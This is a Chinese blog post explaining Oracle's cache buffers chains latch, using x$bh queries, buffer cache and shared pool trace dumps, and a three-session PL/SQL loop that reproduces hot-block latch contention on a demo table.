oracle latch系列之CBC LATCH

上周突然有一个想法,想对oracle的知识做一个系列的总结。想着之前刚接触oracle的时候总是被oracle的lock搞得晕头转向的,那么这次的系列总结就从lock中的latch开始吧。故从今晚开始准备用差不多两周的时间来搞一个oracle latch系列,今晚先来一个CBC吧!!好了,废话不多说了。。。

接触过关系型数据库的同志们对于lock这个概念都不陌生吧!总的来说关系型数据库中之所以引进lock是处于两方面的考虑。1.增加数据库的并发性;2.保证数据库数据的一致性;我们说关系型数据和一般的文件系统的区别之一便是关系型数据库引进的锁机制。OK,这里就不再讨论lock了,关于oracle的lock等我写完latch系列之后会单独的再写一篇博客。

那么latch是一种轻量级的lock(所谓的轻量级是指latch的实现方式而不是它的功能),这也就是说latch的主要作用也是增加数据库的并发性和确保数据库数据的一致性,只是latch保证的是oracle SGA中的数据一致性,它是在SGA的share pool中分配(下面会证明),那么这里我提出一个问题,PGA需要LATH的保护吗?当然不需要啦,因为SGA是共享的,而PGA不是共享的,只有共享的资源才需要latch或者lock的保护。

oracle的cache buffers chain latch(下面都简称为cbc latch)在oracle中是一个非常常见的latch,如果对于cbc latch的内部原理不是很清楚的话,在当我们在遇见大量的cbc latch时候我们可能就会感觉一头雾水,不知从哪里下手。具体来说呢cbc latch是为了保护cache buffers chain链表的完整性,说到底就是为了保护buffer cache的一致性。所以为了能更好的理解abc latch的原理,我就从buffer cache的结构开始说起,然后再说cbc latch的原理,知道了cbc latch的原理后,在工作中遇见cbc latch的事件原因我们也就很清楚了。然后我会手工的来模拟cbc latch,最后我会说一下在生产环境中如果遇见cbc latch的时候,怎么收集cbc latch的相关信息,进而解决问题!下面我们就开始吧

1.buffer cache的结构

关于buffer cache的一些基本知识建议大家查看Oracle concept的14章中Database Buffer Cache这一节。buffer cache是SGA中一个非常重要的组成部分,它主要缓存了当前正在使用或者说最近使用过的数据库块。通过使用buffer cache Oracle可以达到一下两个目的:1.减少物理读I/O(就是平时我们所说的通过空间换取时间)。oracle将那些经常访问的数据库块(hot block)缓冲在buffer cache中;将那些不经常访问的数据库块(cold block)刷新保存到磁盘上。这样当发生hot block的读操作的时候不需要发生物理读,而只需要从buffer cache中取出相应的数据返回给客户端。另外,当数据库开启了Smart flash cache时,一部分buffer cache可以长期驻留在flash cache中,这些扩展的buffer cache是存放在一个闪存磁盘的设备上的,这个闪存磁盘是一个用作闪存内存的固态存储设备。数据库通过使用flash memory缓存buffer来减少从物理磁盘上读取数据,这都是通过减少物理读来提升数据库的性能。2.减少物理写I/O。数据库在buffer cache中进行数据库块的DML操作,并且把这些操作的元数据(redo)缓冲到redo log buffer中。当用户commit后,数据库只是确保将那些在redo log buffer中的元数据写到磁盘上,而不是立即将这些改变的数据库块更新到磁盘上,相反,在后台DBWn进程使用延迟写,将这些更新后的数据库块写到磁盘上;这样oracle通过使用WLA(write log ahead)和buffer cache机制,使得每次发生数据的DML操作后不用立马发生数据块的物理写的I/O操作,而是等待一定的触发条件才发生I/O以此来提高数据库的性能,

buffer cache的组成大概如下图所示(图片摘自oracle concept):
cncpt220

由上图我们可以看出buffer cache主要分为4个部分,default pool,keep pool,recycle pool和nK pool;default pool,keep pool,recycle pool的结构和管理方式(LRU算法,share pool和PGA是heap的方式)其实是完全一样的,这就好比是三个完全一摸一样的内存结构,只是这三个内存结构的名字不一样罢了。其中default pool是系统默认的块缓存的地方,这些块是非全表扫描操作所读取的块,换句话说default pool中的块是非全表扫面所读取块的默认缓存的内存区域。keep pool是缓存哪些经常会被访问的块(hot block),而recycle pool是缓存那些不经常访问的block(cold block)。之所以要将hot block缓存在keep pool中是因为,如果将这些块缓存在default pool,则可能很快会被age out,这样等下个数据库操作重用这些块的时候不得不发生磁盘级别的操作(物理读,慢);将这些hot block缓存在keep pool中可以推迟这些块被age out的时间,这样等需要重用这些block的时候只需要发生内存级别的操作(逻辑读,快);反之,将cold block存放在recycle pool中可以很快的将这些块age out,以此来提高buffer cache的使用效率,减少buffer cache的竞争。另外因为Oracle数据库中可以有不同大小的block表空间存在,必须为每一个非标准的block size的tablespace配置一个buffer cache,nk pool就是为这些相应的nk block size的tablespace配置的buffer cache。例如我需要配置一个没个block是16K的tablespace,那么我们就需要一个16K buffer cache pool的内存区域来缓存16K的block。好了,上面我们只是简单的介绍了一下buffer cache的结构。下面我们来看一下oracle如何访问buffer cache中的buffer,我们先从下面的几个对象的概念入手:

1.buffer:数据文件block在内存(buffer cache)中的一个拷贝,就是数据文件的block在内存中的另外一种叫法。

2.buffer header:一个描述buffer结构,状态,地址等信息的对象,每一个buffer都有一个buffer header

3.hash buckets:一个维护buffer header的数据结构

4.a hash cache buffer chain:多个相关的buffer header组成的一个双向链表

5.LRU:least recently used,最近最少使用算法,用来管理buffer cache中的buffers

上面这几个对象的关系如下图所示:

4

为了能更好的理解上面的这幅图,我先来解释一下hash 算法。想象这样的一个场景,假如现在有学号为1到n共n个学生,我们怎么将这n个学生分配到编号为0到m-1共m(n>>m)个班级中?一种可用的方案就是用学生的学号(学号记为stu#)除以m,得到一个余数,所得到的这个余数就是学号为sut#所要被分配到的班级编号,如stu#为1的学生会被分配到1号班级,stu#为2的学生会被分配到2号班级,stu#为m的学生会被分配到0号班级等等,以此类推,直到所有的学生被分配到对应的班级中,这就是hash取余散列法!接着我们继续上面的例子再思考这样的一个问题,我现在拿到一个学生的stu#,我怎么快速的找到这个学生的详细信息?一种可行的办法就是在每个班级中为每个学生创建一个档案,每个学生的档案放在相应的班级中,当我拿到一个stu#时,我先做一次hash取余散列,会得到这个学生所在的班级,然后我查找这个班级中所有的学生档案,便可找到这个学生的详细信息。而在buffer cache中寻找buffer就是通过上面的方法来实现的。

在上图中,DBA(data block address,实际上就是完全由文件号和块号决定的)相当于学生的学号,hash bucket相当学生的班级,BH(buffer header)相当于学生档案,buffer相当于学生。oracle 数据库在buffer cache要访问某一个block(在内存中可以认为block和buffer是等价的,所以下文中我并没有很严格的确分block和buffer)的时候就是将这个块的dba(database block address)除以hash bucket的数量(这个hash bucket的数量是由_db_block_hash_bucke这个隐含参数决定的)所得到的余数就是这个块对应的在这个数据库上被分配到的hash bucket的编号,而在每个hash bucket下面会维护一个由bh(buffer header)组成的双向链表,这个链表就是cbc(cache buffers chain),它上面就是块的dba通过散列后具有相同散列值的block的bh,bh就是buffer的描述信息,每一个buffer都会有且仅有一个与之对应的bh,bh之于buffer就是学生档案之于学生之间的关系。bh描述了buffer的所有的详细信息,然后oracle会扫描这个hash bucket上所维护这个cbc,如果找到了块对应的bh,则会从bh中拿到这个buffer的ba(abuffer ddress,它就是这个buffer在内存中的地址,通过这个地址我们就可以很容易的在buffer area中定位到这个buffer),再根据这个ba直接到到buffer中读出这个buffer中的数据。如果在扫描cbc的过程中找到了这个块对应的bh,则直接到buffer area读出这个buffer的数据,这个过程叫做逻辑读;如果在扫描过程中没有找到这个块对应的bh,则server process会从数据文件中读出这个块,然后放到对应的hash bucket的cbc上面(排除全表读的情况),这个过程就是物理读。在上图中,如果我们要读取3号文件的9号块,那么Oracle会先拿到这个块的dba,然后通过hash函数得到这个块的对应的hash bucket编号,例如在上图中3号文件的9号块会被散列到编号为3号的hash bucket上,然后Oracle会在3号hash bucket的cbc链表上查找是否有文件号为3,块号为9的buffer的bh,然后从bh中拿到ba(暂时不考虑buffer的多版本问题),下面oracle就根据ba直接到到buffer area中发生一次逻辑读将这个buffer的数据读出来。

OK,通过上面的介绍大家可能对buffer cache的结构以及oracle如何是读取块的过程有了一个大概的了解,如果还是不是很清楚,建议先读一下oracle官方文档中oracle concept的14章。

下面我通过一个实例来说明上面的理论知识:

SQL> select * from demo.ll_t1 where id=11;

 ID NAME
---------- ----------
 11 enmotech

在表demo.ll_t1中有一条数据,id=11,name=enmotech

SQL> select dbms_rowid.rowid_relative_fno(rowid) file#,dbms_rowid.rowid_block_number(rowid) block# from demo.ll_t1 where id=11;

 FILE# BLOCK#
---------- ----------
 6 135

上面这条数据位于6号文件的135号块上

SQL> select to_char(dbms_utility.make_data_block_address(6,135),'xxxxxxxxxxxxx') from dual;

TO_CHAR(DBMS_U
--------------
       1800087

6号文件的135号块的dba为1800087,dba是16进制的

SQL> select addr,HLADDR,NXT_HASH,PRV_HASH,ba from x$bh where file#=6 and dbablk=135;

ADDR HLADDR NXT_HASH PRV_HASH BA
---------------- ---------------- ---------------- ---------------- ----------------
00007F1890BF51A8 0000000077BDAEB8 0000000077BDB4B8 0000000077BDB4B8 000000006C09A000

当6号文件的135号块缓存在buffer cache中的时候,就会有一个唯一的bh与之对应,bh的信息都是存储在x$bh视图中的,那么我根据文件号块号从x$bh中找出6号文件135号块的bh信息,从x$bh中查询出了addr,hladdr,nxt_hash,prv_hash,ba;其中addr是buffer header在内存中的地址,hladdr是hash latch的地址,nxt_hash是该buffer header在cbc链表上下一个bh的地址,prv_hash是buffer header在cbc链表上上一个bh的地址,ba是该bh指定的buffer在内存中的地址。上面的查询结果说明6号文件的135号块的bh在内存中的地址的hash值是00007F1890BF51A8,它使用的hash latch地址为0000000077BDAEB8,它在cbc链表上的下一个bh地址为0000000077BDAEB8,上一个bh地址为0000000077BDB4B8,它所指定的buffer在buffer cache中的地址为000000006C09A000,下面我搞一个buffer cache的dump文件,来看看bh在内存到底存储了哪些内容:

SQL> alter session set events 'immediate trace name buffer level 1';

Session altered.

这里我的level是1,只是dump出了bh的结构收据,所以数据不是很大

SQL> select * from v$diag_info where name='Default Trace File';

   INST_ID NAME
---------- ----------
VALUE
----------------------------------------------------------------------------------------------------
         1 Default Tr
           ace File
/u01/oracle/diag/rdbms/node1/node1/trace/node1_ora_15188.trc

产生的dump文件为/u01/oracle/diag/rdbms/node1/node1/trace/node1_ora_15188.trc

[oracle@node2 admin]$ vim /u01/oracle/diag/rdbms/node1/node1/trace/node1_ora_15188.trc
race file /u01/oracle/diag/rdbms/node1/node1/trace/node1_ora_13980.trc
Oracle Database 11g Enterprise Edition Release 11.2.0.3.0 - 64bit Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options
ORACLE_HOME = /u01/oracle/app
System name: Linux
Node name: node2
Release: 3.10.0-229.el7.x86_64
Version: #1 SMP Fri Mar 6 11:36:42 UTC 2015
Machine: x86_64
Instance name: node1
Redo thread mounted by this instance: 1
Oracle process number: 29
Unix process pid: 13980, image: oracle@node2 (TNS V1-V3)


*** 2016-05-24 00:18:25.483
*** SESSION ID:(34.165) 2016-05-24 00:18:25.483
*** CLIENT ID:() 2016-05-24 00:18:25.483
*** SERVICE NAME:(SYS$USERS) 2016-05-24 00:18:25.483
*** MODULE NAME:(sqlplus@node2 (TNS V1-V3)) 2016-05-24 00:18:25.483
*** ACTION NAME:() 2016-05-24 00:18:25.483
 
Dump of buffer cache at level 1 for tsn=2147483647 rdba=0
BH (0x6c3f0468) file#: 1 rdba: 0x00411e40 (1/73280) class: 1 ba: 0x6c290000
 set: 3 pool: 3 bsz: 8192 bsi: 0 sflg: 1 pwc: 0,25
 dbwrid: 0 obj: 250 objn: 250 tsn: 0 afn: 1 hint: f
 hash: [0x77b8d248,0x77b8d248] lru: [0x6c3f0680,0x6c3f0420]
 lru-flags: hot_buffer
 ckptq: [NULL] fileq: [NULL] objq: [0x6c7f6348,0x6c3f0448] objaq: [0x6c7f6358,0x6c3f0458]
 st: XCURRENT md: NULL fpin: 'kdswh05: kdsgrp' tch: 4
 flags:
 LRBA: [0x0.0.0] LSCN: [0x0.0] HSCN: [0xffff.ffffffff] HSUB: [65535]
-------------------省略----------------------------
BH (0x69be87b8) file#: 6 rdba: 0x01800087 (6/135) class: 1 ba: 0x6C09A000
 set: 3 pool: 3 bsz: 8192 bsi: 0 sflg: 1 pwc: 0,25
 dbwrid: 0 obj: 76863 objn: 76862 tsn: 7 afn: 6 hint: f
 hash: [0x77bdb4b8,0x77bdb4b8] lru: [0x69be90f0,0x6b3dd7b0]
 lru-flags: hot_buffer
 ckptq: [NULL] fileq: [NULL] objq: [0x6d3e8b28,0x742b54c0] objaq: [0x69be9128,0x6abd8e48]
 st: XCURRENT md: NULL fpin: 'kdswh11: kdst_fetch' tch: 8
 flags: block_written_once redo_since_read
 LRBA: [0x0.0.0] LSCN: [0x0.0] HSCN: [0xffff.ffffffff] HSUB: [1]
-------------------省略----------------------------

通过我们上面从x$bh中查询出来的6号文件的135号块的ba值,可以定位到6号文件135号块的bh信息。当然了,我们也可以根据dba来定位。上面我加粗斜体的部分就是6号文件的135号块的bh在buffer cache的信息。下面我来试着解读一下上面的这些信息。

BH (0x69be87b8):bh的hash值

file#: 6 :文件号为6

rdba: 0x01800087 (6/135) :相对data block address,这个值完全就是由文件号和块号决定的,16进制格式的,这个值和我们上面通过sql查询出来的值是保持一致的!有没有感觉很神奇????哈哈

class: 1:该buffer的类型,1=data block, 2=sort block,3=save undo block,4=segment header,5=save undo header, 6=free list,7=extent map,9=2nd level bmb, 10=3rd level bmb,11=bitmap block, 12=bitmap index block,13=unused, 14=undo header, 15=undo block

ba: 0x699be000:buffer在内存中的物理地址,下面我dump buffer cache中的数据,然后寻找699be000,看能不着找到6号文件135号块:

SQL>  alter session set events 'immediate trace name buffers level 2';

Session altered.

再一次注意,我这里level是2

SQL> select * from v$diag_info where name='Default Trace File';

   INST_ID NAME
---------- ----------------------------------------------------------------
VALUE
--------------------------------------------------------------------------------
         1 Default Trace File
/u01/oracle/diag/rdbms/node1/node1/trace/node1_ora_17806.trc

产生的dump文件为:/u01/oracle/diag/rdbms/node1/node1/trace/node1_ora_17806.trc

我们在dump文件中查找上面我们查询出来的ba值,699be000

[oracle@node2 admin]$ vi /u01/oracle/diag/rdbms/node1/node1/trace/node1_ora_17806.trc
Trace file /u01/oracle/diag/rdbms/node1/node1/trace/node1_ora_17806.trc
Oracle Database 11g Enterprise Edition Release 11.2.0.3.0 - 64bit Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options
ORACLE_HOME = /u01/oracle/app
System name:    Linux
Node name:      node2
Release:        3.10.0-229.el7.x86_64
Version:        #1 SMP Fri Mar 6 11:36:42 UTC 2015
Machine:        x86_64
Instance name: node1
Redo thread mounted by this instance: 1
Oracle process number: 19
Unix process pid: 17806, image: oracle@node2 (TNS V1-V3)


*** 2016-05-24 04:02:13.962
*** SESSION ID:(1.7) 2016-05-24 04:02:13.962
*** CLIENT ID:() 2016-05-24 04:02:13.962
*** SERVICE NAME:(SYS$USERS) 2016-05-24 04:02:13.962
*** MODULE NAME:(sqlplus@node2 (TNS V1-V3)) 2016-05-24 04:02:13.962
*** ACTION NAME:() 2016-05-24 04:02:13.962

Dump of buffer cache at level 2 for tsn=2147483647 rdba=0
BH (0x6c3eb278) file#: 1 rdba: 0x00411e40 (1/73280) class: 1 ba: 0x6c206000
  set: 3 pool: 3 bsz: 8192 bsi: 0 sflg: 1 pwc: 79,28
  dbwrid: 0 obj: 250 objn: 250 tsn: 0 afn: 1 hint: f
  hash: [0x77b8d248,0x77b8d248] lru: [0x6c3eb490,0x6c3eb230]
  ckptq: [NULL] fileq: [NULL] objq: [0x6c7ea1b8,0x6c3eb258] objaq: [0x6c7ea1c8,0x6c3eb268]
  st: XCURRENT md: NULL fpin: 'kdswh05: kdsgrp' tch: 1
  flags:
  LRBA: [0x0.0.0] LSCN: [0x0.0] HSCN: [0xffff.ffffffff] HSUB: [65535]
/6C09A000

 Itl           Xid                  Uba         Flag  Lck        Scn/Fsc
0x01   0x0006.008.000003bd  0x00c18274.0097.0a  --U-    1  fsc 0x0000.000ebf1c
BH (0x6c3dda58) file#: 6 rdba: 0x01800087 (6/135) class: 1 ba: 0x6c09a000
  set: 3 pool: 3 bsz: 8192 bsi: 0 sflg: 1 pwc: 79,28
  dbwrid: 0 obj: 76863 objn: 76862 tsn: 7 afn: 6 hint: f
  hash: [0x77bdb4b8,0x77bdb4b8] lru: [0x6c3ddc70,0x6c3dda10]
  ckptq: [NULL] fileq: [NULL] objq: [0x6c3ddc98,0x74257500] objaq: [0x6c3ddca8,0x742574f0]
  st: XCURRENT md: NULL fpin: 'kdswh11: kdst_fetch' tch: 2
  flags: only_sequential_access
  LRBA: [0x0.0.0] LSCN: [0x0.0] HSCN: [0xffff.ffffffff] HSUB: [65535]
  buffer tsn: 7 rdba: 0x01800087 (6/135)
  scn: 0x0000.00196957 seq: 0x01 flg: 0x06 tail: 0x69570601
  frmt: 0x02 chkval: 0x0620 type: 0x06=trans data
Hex dump of block: st=0, typ_found=1
Dump of memory from 0x000000006C09A000 to 0x000000006C09C000--注意这里内存地址开始的位置,卧槽,找到了
06C09A000 0000A206 01800087 00196957 06010000  [........Wi......]
06C09A010 00000620 000E0001 00012C3F 00175702  [ .......?,...W..]
06C09A020 1FE80000 00320002 01800080 001D0001  [......2.........]
06C09A030 0000035F 00C00C9E 002C00AB 00002001  [_.........,.. ..]
06C09A040 00175703 00140003 0000046C 00C00332  [.W......l...2...]
------------部分省略--------------------------
06C09BF90 770702C1 6F736C69 022C316E 0CC10202 [...wilson1,.....]
06C09BFA0 6D6E6508 6365746F 02012C68 080BC102 [.enmotech,......]
06C09BFB0 736C6977 30316E6F 0202002C 770704C1 [wilson10,......w]
06C09BFC0 6F736C69 023C336E 04C10202 6C697707 [ilson3<......wil]
06C09BFD0 336E6F73 0202002C 770603C1 6F736C69 [son3,......wilso]
06C09BFE0 02002C6E 0602C102 736C6977 013C6E6F [n,......wilson<.]
06C09BFF0 02C10202 6C697707 316E6F73 69570601 [.....wilson1..Wi]
Block header dump: 0x01800087
 Object id on Block? Y
 seg/obj: 0x12c3f csc: 0x00.175702 itc: 2 flg: E typ: 1 - DATA
 brn: 0 bdba: 0x1800080 ver: 0x01 opc: 0
 inc: 0 exflg: 0

 Itl Xid Uba Flag Lck Scn/Fsc
06C09BF70 0202013C 770702C1 6F736C69 013C316E [<......wilson1<.]
06C09BF80 02C10202 6C697707 316E6F73 0202013C [.....wilson1<...]
06C09BF90 770702C1 6F736C69 022C316E 0CC10202 [...wilson1,.....]
06C09BFA0 6D6E6508 6365746F 02012C68 080BC102 [.enmotech,......]--注意这里真的出现了enmotech,好玩不?
06C09BFB0 736C6977 30316E6F 0202002C 770704C1 [wilson10,......w]
06C09BFC0 6F736C69 023C336E 04C10202 6C697707 [ilson3<......wil]
06C09BFD0 336E6F73 0202002C 770603C1 6F736C69 [son3,......wilso]
06C09BFE0 02002C6E 0602C102 736C6977 013C6E6F [n,......wilson<.]
06C09BFF0 02C10202 6C697707 316E6F73 69570601 [.....wilson1..Wi]
Block header dump: 0x01800087
 Object id on Block? Y
 seg/obj: 0x12c3f csc: 0x00.175702 itc: 2 flg: E typ: 1 - DATA
 brn: 0 bdba: 0x1800080 ver: 0x01 opc: 0
 inc: 0 exflg: 0

 Itl Xid Uba Flag Lck Scn/Fsc
0x01 0x0001.01d.0000035f 0x00c00c9e.00ab.2c --U- 1 fsc 0x0000.00175703
0x02 0x0003.014.0000046c 0x00c00332.00d4.1b --U- 1 fsc 0x0000.00196957
BH (0x69bdcfa8) file#: 2 rdba: 0x008121db (2/74203) class: 1 ba: 0x69888000
------------部分省略--------------------------



SQL> select to_number('6C09C000','xxxxxxxxxxxxxxxxxxxxx')-to_number('6C09A000','xxxxxxxxxxxxxxxxxxxxx') from dual;

TO_NUMBER('6C09C000','XXXXXXXXXXXXXXXXXXXXX')-TO_NUMBER('6C09A000','XXXXXXXXXXXX
--------------------------------------------------------------------------------
 8192

上面说明内存中0x000000006C09A000 to 0x000000006C09C000刚好是一个block的大小,这个block正是6号文件135号块

set: 3 pool: 3:目前还不是清楚这两个是什么意思!!求高人补充

bsz: 8192:block size为8192

bsi: 0 :

sflg: 1

pwc: 0,25
dbwrid: 0:dbwr进程的id

obj: 76863 :data object id

5

objn: 76862 :object id

6

tsn: 7:tablespace

afn: 6

hint: f
hash: [0x77bdb4b8,0x77bdb4b8]:hash chain的上一个bh和下一个bh

lru: [0x69be90f0,0x6b3dd7b0]:lru列表
lru-flags: hot_buffer:lru列表的标记(关于lru后继再另外介绍)
ckptq: [NULL]:checkpoint列表

fileq: [NULL]:file sequence

objq: [0x6d3e8b28,0x742b54c0]:

objaq: [0x69be9128,0x6abd8e48]
st: XCURRENT:当前读(多版本读的知识)

md: NULL

fpin: ‘kdswh11: kdst_fetch’

tch: 8:tech count
flags: block_written_once redo_since_read:标签
LRBA: [0x0.0.0]:low rba

LSCN: [0x0.0]:low scn

HSCN: [0xffff.ffffffff]:hight scn

HSUB: [1]:

上面的过程展示了一次逻辑读!与此同时写到这里突然感觉要写的东西很多,有点偏离主题了,所以这里就不再展开了!只要能从上面的了解到oracle读取块的过程就算达到目的了!

2.造成abc latch的原因

这里我们思考一个问题,因为buffer area是在SGA中的,SGA是全局共享的资源,共享的东西必然会面临并发的问题,哪么cbc是怎么控制并发的呢?

要回答上面这个问题,我先回答下面这个问题。什么样的共享资源才真正要考虑并发控制?答案是对共享资源做变更或更新操作的时候才要考虑并发控制,如果一个共享资源是只读的,哪么我们可能完全不用考虑并发控制。在oracle在扫描cbc链表的时候,无非两种结果,要么在cbc链表上找到了块对应的bh,要么在cbc链表上没有没找到对应block的bh;找到了就发生逻辑读,没找到就发生物理读!当在cbc链表上找到了块对应的bh,哪么要更新bh中一些信息,例如tch,xcurrent等信息,此时我们可以理解为这个block所在的cbc信息要发生变更;当在cbc链表上没找到块对应的bh,哪么发生物理读,要将这个新的块的bh挂到对应hash bucket上的cbc链表上,我们同样可以认为cbc的信息要发生变更!除此之外,无论是哪种情况,在oracle扫描cbc链表的时候,需要保证cbc链表不再发生变化。哪么oracle在发生cbc链表信息变更的时候和保证在扫描cbc链表cbc链表的信息不发生变化的时候就需要控制并发,怎么实现这个并发控制呢?(又绕到上面的问题了,哈哈),好吧,请看下图:

5

熟话说擒贼先擒王,在对cbc链表并发控制的方法上oracle体现了这一点,哈哈!!当cbc链表信息需要发生变更的时候,oracle从源头上去控制。它会先在cbc对应的hash bucket上加一个独占的latch,这个latch就是大名鼎鼎的cbc latch,在某个session加完这个latch后就可以放心的去扫描cbc链表或者去变更cbc链表的信息了。到这里算是回答了上面提出的问题!!哪么在此时若有其他的session也需要去扫描或者变更上面session加latch的hash bucket上的cbc链表的时候就会发生cbc latch争用或者等待。

接着我们关注一下上面查询中hladdr这个东东;6

这个hladdr就是上面我们说的abc latch在内存中的地址。通常我们说一个cbc latch可能需要和多个hash bucket相关的,也就是cbc latch和hash bucket时1对多的关系,这个我们从下面的两个隐含参数中看出来!

3.pic

从上面的结果我们可以看出来,一个cbc latch要平均负责管理32个hash bucket,当然了这个跟机器的配置时相关的。

到这里我觉着可以总结下造成cbc latch的原因了:

(1)热块:如果某个热块同时多个session访问,哪么这些session必然要请求同一个cbc latch,这必然会引起cbc latch

(2)热链:这里说个热链是指某个cbc链表,如果某个cbc链表同时多个session访问,哪么这些session必然会请求同一个cbc latch,这必然会引起cbc latch

(3)hash bucket太小:如果hash bucket比较小,哪么多个session访问的数据可能就会被散列到同一个hash bucket上,哪么他们请求的cbc latch也会时同一个,这也必然会引起cbc latch

(4)hash latch太少:如果hash latch太少,哪么平均每一个hash latch就要负责管理维护的hash bucket就越多,哪么请求同一个latch的几率就会增大,这就增加了cbc latch的机会

至此,关于造成abc latch的原因也算说完了,这里好像上面的有一句话还没有解释,我说latch都是在share pool中分配的,下面搞出一个share pool的dump就一目了然了:

SQL> select * from v$diag_info where name='Default Trace File';

 INST_ID NAME
---------- ----------------------------------------------------------------
VALUE
--------------------------------------------------------------------------------
 1 Default Trace File
/u01/oracle/diag/rdbms/node1/node1/trace/node1_ora_6764.trc



[root@node2 ~]# vi /u01/oracle/diag/rdbms/node1/node1/trace/node1_ora_6764.trc
Trace file /u01/oracle/diag/rdbms/node1/node1/trace/node1_ora_6764.trc
Oracle Database 11g Enterprise Edition Release 11.2.0.3.0 - 64bit Production
With the Partitioning, OLAP, Data Mining and Real Application Testing options
ORACLE_HOME = /u01/oracle/app
System name: Linux
Node name: node2
Release: 3.10.0-229.el7.x86_64
Version: #1 SMP Fri Mar 6 11:36:42 UTC 2015
Machine: x86_64
Instance name: node1
Redo thread mounted by this instance: 1
Oracle process number: 19
Unix process pid: 6764, image: oracle@node2 (TNS V1-V3)


*** 2016-05-28 05:41:42.833
*** SESSION ID:(1.19) 2016-05-28 05:41:42.833
*** CLIENT ID:() 2016-05-28 05:41:42.833
*** SERVICE NAME:(SYS$USERS) 2016-05-28 05:41:42.833
*** MODULE NAME:(sqlplus@node2 (TNS V1-V3)) 2016-05-28 05:41:42.833
*** ACTION NAME:() 2016-05-28 05:41:42.833

KGH Latch Directory Information
ldir state: 2 last allocated slot: 97
Slot [ 1] Latch: 0x6000a018 Index: 1 Flags: 3 State: 2 next: (nil)
Slot [ 2] Latch: 0x77a4fbb0 Index: 1 Flags: 3 State: 2 next: (nil)
Slot [ 3] Latch: 0x77a4fc90 Index: 1 Flags: 3 State: 2 next: (nil)
Slot [ 4] Latch: 0x6000e398 Index: 1 Flags: 3 State: 2 next: (nil)
Slot [ 5] Latch: 0x776f0950 Index: 1 Flags: 3 State: 2 next: (nil)
Slot [ 6] Latch: 0x776f2b10 Index: 1 Flags: 3 State: 2 next: (nil)
Slot [ 7] Latch: 0x776f3890 Index: 1 Flags: 3 State: 2 next: (nil)
Slot [ 8] Latch: 0x776f4610 Index: 1 Flags: 3 State: 2 next: (nil)
Slot [ 9] Latch: 0x776f4cd0 Index: 1 Flags: 3 State: 2 next: (nil)
Slot [ 10] Latch: 0x776f5390 Index: 1 Flags: 3 State: 2 next: (nil)
Slot [ 11] Latch: 0x776f5a50 Index: 1 Flags: 3 State: 2 next: (nil)
Slot [ 12] Latch: 0x776f6110 Index: 1 Flags: 3 State: 2 next: 0x1
Slot [ 13] Latch: 0x776f6e90 Index: 1 Flags: 3 State: 2 next: (nil)
Slot [ 14] Latch: 0x776f7550 Index: 1 Flags: 3 State: 2 next: (nil)
Slot [ 15] Latch: 0x776f9dd0 Index: 1 Flags: 3 State: 2 next: (nil)
Slot [ 16] Latch: 0x6000f538 Index: 1 Flags: 3 State: 2 next: 0x60107550
Slot [ 17] Latch: 0x60016098 Index: 1 Flags: 3 State: 2 next: 0x60107418
Slot [ 18] Latch: 0x60015fd0 Index: 1 Flags: 3 State: 2 next: (nil)
Slot [ 19] Latch: 0x6001b428 Index: 1 Flags: 3 State: 2 next: (nil)
Slot [ 20] Latch: 0x6001be30 Index: 1 Flags: 3 State: 2 next: (nil)
Slot [ 21] Latch: 0x6001e0e0 Index: 1 Flags: 3 State: 2 next: 0x60107598
Slot [ 22] Latch: 0x6001fb28 Index: 1 Flags: 3 State: 2 next: 0x60107430
--------------下面省略-------------------------

从dump文件中可以明显的看出latch的信息

 

3.手工的模拟cbc latch

这部分我准备收工的模拟一次cbc latch,模拟一个热块的情况!希望起到一个抛砖引玉的作用:

SQL> select HLADDR from x$bh where file#=6 and dbablk=135;

HLADDR           
---------------- 
0000000077BDAEB8

查询6号文件的135号块的hladdr

SQL> select file#,dbablk,owner,data_object_id,object_name,object_type from x$bh a,dba_objects b where hladdr='0000000077BDAEB8' and a.obj=b.data_object_id AND OWNER='DEMO';

     FILE#     DBABLK OWNER      DATA_OBJECT_ID OBJECT_NAME                    OBJECT_TYPE
---------- ---------- ---------- -------------- ------------------------------ -------------------
         6        135 DEMO                76863 LL_T1                          TABLE

查看6号文件135号块的data_object_id

SQL> select DBMS_ROWID.ROWID_CREATE(1,76863,6,135,13) from dual;

DBMS_ROWID.ROWID_C
------------------
AAASw/AAGAAAACHAAN

SQL> select DBMS_ROWID.ROWID_CREATE(1,76863,6,135,14) from dual;

DBMS_ROWID.ROWID_C
------------------
AAASw/AAGAAAACHAAO

SQL> select DBMS_ROWID.ROWID_CREATE(1,76863,6,135,15) from dual;

DBMS_ROWID.ROWID_C
------------------
AAASw/AAGAAAACHAAP

构造出三个6号文件135号块上的rowid


SQL> select * from demo.ll_t1 where rowid='AAASw/AAGAAAACHAAN';

 ID NAME
---------- --------------------
 20 enmotech20

SQL> select * from demo.ll_t1 where rowid='AAASw/AAGAAAACHAAO';

 ID NAME
---------- --------------------
 21 enmotech21

SQL> select * from demo.ll_t1 where rowid='AAASw/AAGAAAACHAAP';

 ID NAME
---------- --------------------
 22 enmotech22

验证rowid是否正确

session 1

SQL> select userenv('sid') from dual;

USERENV('SID')
--------------
 1

SQL> declare
 2 dbnum1 VARCHAR2(20);
 3 begin
 4 for i in 1 ..10000000 loop
 5 select NAME into dbnum1 from DEMO.LL_T1 where rowid='AAASw/AAGAAAACHAAN';
 6 end loop;
 7 end;
 8 /

在session1中执行上面的匿名块,非常频繁的访问6号文件的135号块

session 2

SQL> select userenv('sid') from dual;

USERENV('SID')
--------------
 31

SQL> declare
 2 dbnum1 VARCHAR2(20);
 3 begin
 4 for i in 1 ..10000000 loop
 5 select NAME into dbnum1 from DEMO.LL_T1 where rowid='AAASw/AAGAAAACHAAO';
 6 end loop;
 7 end;
 8 /


在session2中执行上面的匿名块,非常频繁的访问6号文件的135号块


session 3

SQL> select userenv('sid') from dual;

USERENV('SID')
--------------
 27

SQL> declare
 2 dbnum1 VARCHAR2(20);
 3 begin
 4 for i in 1 ..10000000 loop
 5 select NAME into dbnum1 from DEMO.LL_T1 where rowid='AAASw/AAGAAAACHAAP';
 6 end loop;
 7 end;
 8 /


在session1中执行上面的匿名块,非常频繁的访问6号文件的135号块


session 4


SQL> select userenv('sid') from dual;

USERENV('SID')
--------------
 35

SQL> select sid,event,p1raw,p2raw from v$session where wait_class<>'Idle' order by 2;

 SID EVENT P1RAW P2RAW
---------- ------------------------------ ---------------- ----------------
 35 SQL*Net message to client 0000000062657100 0000000000000001
 31 latch: cache buffers chains 0000000077BDAEB8 000000000000009B
 1 latch: cache buffers chains 0000000077BDAEB8 000000000000009B
